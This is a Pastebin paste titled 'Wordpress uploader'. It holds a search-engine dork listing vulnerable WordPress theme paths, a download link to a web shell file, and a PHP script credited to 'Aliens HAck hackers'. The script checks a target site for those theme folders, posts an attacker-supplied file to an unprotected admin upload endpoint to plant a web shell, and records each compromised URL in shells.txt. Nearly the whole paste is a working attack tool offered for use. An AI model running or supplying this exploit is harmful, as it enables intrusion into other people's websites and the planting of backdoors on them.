Kyfx

Wordpress uploader

Mar 22nd, 2015
599
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.04 KB | None | 0 0
  1. inurl:
  2. /wp-content/themes/charity/',
  3. /wp-content/themes/simpleCart/',
  4. /wp-content/themes/micro/',
  5. /wp-content/themes/evo/',
  6. /wp-content/themes/gallery/
  7.  
  8.  
  9. php exploit.php www. site .com
  10.  
  11. http://www.mediafire.com/download/276wvhsl75oahp7/wordpress_shell_upload1.php
  12. Code strat buttom
  13.  
  14.  
  15. <?php
  16. //Coded By Aliens HAck hackers
  17. $target = $argv[1];
  18. if (!preg_match("~^(?:f|ht)tps?://~i", $target)) {
  19. $target = "http://" . $target;
  20. }
  21. $uploadfile="yourfile.php";
  22. $domain = explode("/", $target);
  23. $server_addr = gethostbyname($domain[2]);
  24. $list = array('/wp-content/themes/holding_pattern/',
  25. '/wp-content/themes/charity/',
  26. '/wp-content/themes/simpleCart/',
  27. '/wp-content/themes/micro/',
  28. '/wp-content/themes/evo/',
  29. '/wp-content/themes/gallery/');
  30.  
  31. foreach($list as $dir){
  32. $headers = get_headers($target.$dir);
  33. if($headers[0] == 'HTTP/1.1 200 OK') {
  34. echo "[+]Found $dir: ";
  35. $tek = $target.$dir."/admin/upload-file.php";
  36. $ch = curl_init($tek);
  37. curl_setopt($ch, CURLOPT_POST, true);
  38. curl_setopt($ch, CURLOPT_VERBOSE, false);
  39. curl_setopt($ch, CURLOPT_POSTFIELDS,array(md5($server_addr)=>"@$uploadfile",'upload_path'=>base64_encode('.')));
  40. curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
  41. $postResult = curl_exec($ch);
  42. curl_close($ch);
  43. //print $postResult;
  44.  
  45. if(preg_match("/success/",$postResult)) {
  46. echo "Success\n[+] Shell Uploaded".$target.$dir."/admin/upload.php";
  47. $f = fopen("shells.txt","a+");
  48. fwrite($f , "$target$dir"."/admin/upload.php\n");
  49. fclose($f);
  50. }else{
  51. echo "No exploit\n";
  52. }
  53. $aliens = @file_get_contents("http://pastebin.com/raw.php?i=UxnKEbz9");
  54. echo "Coder by $aliens \n";
  55. echo "FAcebook - fb/aliens.hackers \n";
  56. $y = @file_get_contents("http://pastebin.com/raw.php?i=N9Pzqenb");
  57. echo "$y \n";
  58. $year = @file_get_contents("http://pastebin.com/raw.php?i=hqz737nS");
  59. echo "$year \n";
  60. }
Add Comment
Please, Sign In to add comment